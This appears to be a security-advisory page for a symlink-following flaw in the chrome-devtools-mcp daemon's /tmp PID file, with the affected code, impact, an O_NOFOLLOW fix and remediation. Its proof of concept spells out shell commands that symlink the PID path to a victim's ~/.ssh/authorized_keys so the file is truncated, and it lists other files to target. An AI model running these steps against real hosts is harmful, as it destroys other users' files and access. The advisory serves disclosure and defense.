chrome-devtools-mcp CVE-2026-53765
MEDIUMSeverity by source
AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
PR:L because any local account suffices; UI:R because the victim must actively start the daemon; no confidentiality impact since only the PID string is written.
Primary rating from Vendor (https://github.com/ChromeDevTools/chrome-devtools-mcp).
CVSS VectorVendor: https://github.com/ChromeDevTools/chrome-devtools-mcp
Lifecycle Timeline
3DescriptionCVE.org
Summary
The chrome-devtools-mcp daemon writes its PID file with fs.writeFileSync() to a deterministic runtime path. On typical macOS environments, and on Linux sessions where $XDG_RUNTIME_DIR is unset, that runtime path falls back to /tmp/chrome-devtools-mcp-<uid>/daemon.pid.
Because the write does not use O_NOFOLLOW, a local low-privilege user on the same POSIX host can pre-create /tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid as a symlink to a file writable by the victim. When the victim later starts daemon mode, fs.writeFileSync() follows the symlink and truncates the target file to the daemon PID string.
This report is deliberately scoped to POSIX systems where the daemon falls back to /tmp: typical macOS environments and Linux sessions without $XDG_RUNTIME_DIR. Windows is out of scope because the default temp directory is per-user and symlink creation has additional privilege requirements.
Details
Affected code:
src/daemon/daemon.ts:38-42
const pidFilePath = getPidFilePath(sessionId);
fs.mkdirSync(path.dirname(pidFilePath), {
recursive: true,
});
fs.writeFileSync(pidFilePath, process.pid.toString());src/daemon/utils.ts:49-68
export function getRuntimeHome(sessionId: string): string {
const platform = os.platform();
const uid = os.userInfo().uid;
const suffix = sessionId ? `-${sessionId}` : '';
const appName = APP_NAME + suffix;
if (process.env.XDG_RUNTIME_DIR) {
return path.join(process.env.XDG_RUNTIME_DIR, appName);
}
if (platform === 'darwin' || platform === 'linux') {
return path.join('/tmp', `${appName}-${uid}`);
}
return path.join(os.tmpdir(), appName);
}The /tmp sticky bit prevents non-owner file removal, but it does not prevent another local user from creating a subdirectory under /tmp. If an attacker creates /tmp/chrome-devtools-mcp-<victim_uid>/ first and places a symlink at daemon.pid, the victim's daemon process follows that link when writing the PID.
Preconditions:
- The victim is on a typical macOS environment where
$XDG_RUNTIME_DIRis unset, or on a Linux system/session where$XDG_RUNTIME_DIRis unset. - The attacker has any local user account on the same host.
- The victim later runs a
chrome-devtoolsCLI path or MCP integration that starts daemon mode.
PoC
Realistic POSIX scenario:
# Attacker, before victim starts daemon mode.
victim_uid=1000
mkdir -p "/tmp/chrome-devtools-mcp-${victim_uid}"
chmod 0755 "/tmp/chrome-devtools-mcp-${victim_uid}"
ln -s "/home/victim/.ssh/authorized_keys" \
"/tmp/chrome-devtools-mcp-${victim_uid}/daemon.pid"
# Victim later starts daemon mode.
chrome-devtools start
# Result:
# fs.writeFileSync follows the symlink, so authorized_keys is truncated to
# the daemon PID string.Lab-only PoC that touches only a fresh os.tmpdir()/cdtmcp-lab-* directory:
const fs = require('node:fs');
const os = require('node:os');
const path = require('node:path');
const lab = fs.mkdtempSync(path.join(os.tmpdir(), 'cdtmcp-lab-'));
try {
fs.chmodSync(lab, 0o755);
const victimSecret = path.join(lab, 'victim-secret.txt');
fs.writeFileSync(
victimSecret,
'IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED\n',
);
const runtimeDir = path.join(lab, 'attacker-pre-created');
fs.mkdirSync(runtimeDir, {recursive: true});
const pidFilePath = path.join(runtimeDir, 'daemon.pid');
fs.symlinkSync(victimSecret, pidFilePath);
// Exact pattern from src/daemon/daemon.ts:39-42.
fs.mkdirSync(path.dirname(pidFilePath), {recursive: true});
fs.writeFileSync(pidFilePath, process.pid.toString());
console.log(fs.readFileSync(victimSecret, 'utf8'));
// -> "<pid>" (victim file was truncated/overwritten)
} finally {
fs.rmSync(lab, {recursive: true, force: true});
}Observed output from the lab PoC:
[setup] victim secret BEFORE attack:
IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED
[attack] symlink placed: <runtimeDir>/daemon.pid -> <victimSecret>
[victim ran daemon] victim secret AFTER:
<pid>
[lstat pidFile] still symlink
[outcome] victim file was overwritten via attacker-placed symlink.I can provide the standalone pidfile_symlink_poc.cjs file if needed. The attached/local version includes platform notes, Windows symlink-permission diagnostics, and cleanup guards.
Impact
Who can exploit:
Any local user account on the same POSIX host where the victim runs the chrome-devtools-mcp daemon, when $XDG_RUNTIME_DIR is unset for that user session.
Security impact:
- Integrity: an attacker can truncate and overwrite any file the victim can write, with content constrained to the daemon PID string.
- Availability: critical user configuration files can be corrupted until restored from backup.
- Confidentiality: none directly; the written content is only the PID string.
Example targets affected by truncation:
~/.ssh/authorized_keys, causing the victim to lose SSH access.~/.bashrc,~/.zshrc, or~/.profile, breaking shell startup.- Project
.env,secrets.json, license files, or line-oriented config files. - Logs or local audit files writable by the victim.
Suggested fix:
Open the PID file with O_NOFOLLOW and validate runtime directory ownership/permissions before writing:
import {constants, openSync, writeSync, closeSync} from 'node:fs';
const fd = openSync(
pidFilePath,
constants.O_WRONLY |
constants.O_CREAT |
constants.O_TRUNC |
constants.O_NOFOLLOW,
0o600,
);
writeSync(fd, process.pid.toString());
closeSync(fd);AnalysisAI
Symlink-following in chrome-devtools-mcp (npm, versions 0.20.0 through 1.0.1) allows any local user on the same POSIX host to truncate and overwrite arbitrary files owned by a victim user by pre-placing a symlink at the daemon's deterministic PID file path under /tmp. The attack targets macOS unconditionally and Linux sessions where $XDG_RUNTIME_DIR is unset, because the runtime path falls back to world-accessible /tmp. A detailed proof-of-concept demonstrating SSH key destruction is published in the GitHub Security Advisory; no confirmed active exploitation or CISA KEV listing exists at time of analysis, but the attack requires only a local account and trivial setup.
Technical ContextAI
The affected package is pkg:npm/chrome-devtools-mcp, a Node.js daemon providing Chrome DevTools Protocol integration for AI agent workflows. The root cause is CWE-59 (Improper Link Resolution Before File Access - Link Following): in src/daemon/daemon.ts lines 38-42, the daemon calls fs.writeFileSync() to persist its PID to a path resolved by getPidFilePath(). The path resolver in src/daemon/utils.ts falls back to /tmp/chrome-devtools-mcp-<uid>/daemon.pid when $XDG_RUNTIME_DIR is absent - unconditionally on macOS, conditionally on Linux. The /tmp sticky bit prevents deletion of other users' files but does not block a second user from creating a new subdirectory named after the victim's UID. Because the write uses neither O_NOFOLLOW nor any pre-write directory ownership validation, a symlink pre-planted at daemon.pid is silently followed by the Node.js fs layer, redirecting the write to whatever file the symlink targets - constrained only to files the victim can write.
RemediationAI
Upgrade to chrome-devtools-mcp version 1.1.0, the vendor-confirmed patched release per GHSA-3pvj-jv98-qhjq. The canonical code fix is to replace fs.writeFileSync() with an openSync() call that passes the O_NOFOLLOW flag - preventing the OS from traversing symlinks during file open - combined with a 0o600 permission mask: const fd = openSync(pidFilePath, constants.O_WRONLY | constants.O_CREAT | constants.O_TRUNC | constants.O_NOFOLLOW, 0o600). If immediate patching is not possible, setting $XDG_RUNTIME_DIR to a user-private directory (e.g., /run/user/$(id -u) on systemd Linux systems) before starting the daemon eliminates the /tmp fallback entirely and prevents exploitation; this requires verifying that the target XDG path is not group- or world-writable. Disabling daemon mode is a more disruptive but complete workaround when the feature is not required. The advisory is at https://github.com/ChromeDevTools/chrome-devtools-mcp/security/advisories/GHSA-3pvj-jv98-qhjq.
Same weakness CWE-59 – Improper Link Resolution Before File Access
View allSame technique Information Disclosure
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-3pvj-jv98-qhjq